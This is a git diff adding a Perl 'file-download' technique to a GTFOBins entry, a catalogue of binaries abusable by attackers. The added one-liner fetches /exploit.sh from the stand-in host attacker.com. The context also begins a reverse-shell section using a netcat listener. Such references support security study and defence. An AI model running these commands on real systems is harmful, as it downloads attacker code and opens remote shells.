diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md index 7e4b2c2..b859ae2 100644 --- a/_gtfobins/perl.md +++ b/_gtfobins/perl.md @@ -6,6 +6,14 @@ functions: - code: | LFILE=file_to_read perl -ne print $LFILE + file-download: + - description: Download a file via HTTP. For example, run `python3 -m http.server 8080` on the serving side. + code: | + export RHOST=attacker.com + export RPORT=8080 + export URL=/exploit.sh + export LFILE=output.txt + perl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>$ENV{"RHOST"},PeerPort=>$ENV{"RPORT"},Proto=>"tcp") or die; print $s "GET " . $ENV{"URL"} . " HTTP/1.1\r\nHost: " . $ENV{"RHOST"} . "\r\nMetadata: true\r\nConnection: close\r\n\r\n"; open(my $fh, ">", $ENV{"LFILE"}) or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq "\r\n") { $in_content = 1; } } close($s); close($fh);' reverse-shell: - description: Run `nc -l -p 12345` on the attacker box to receive the shell. code: |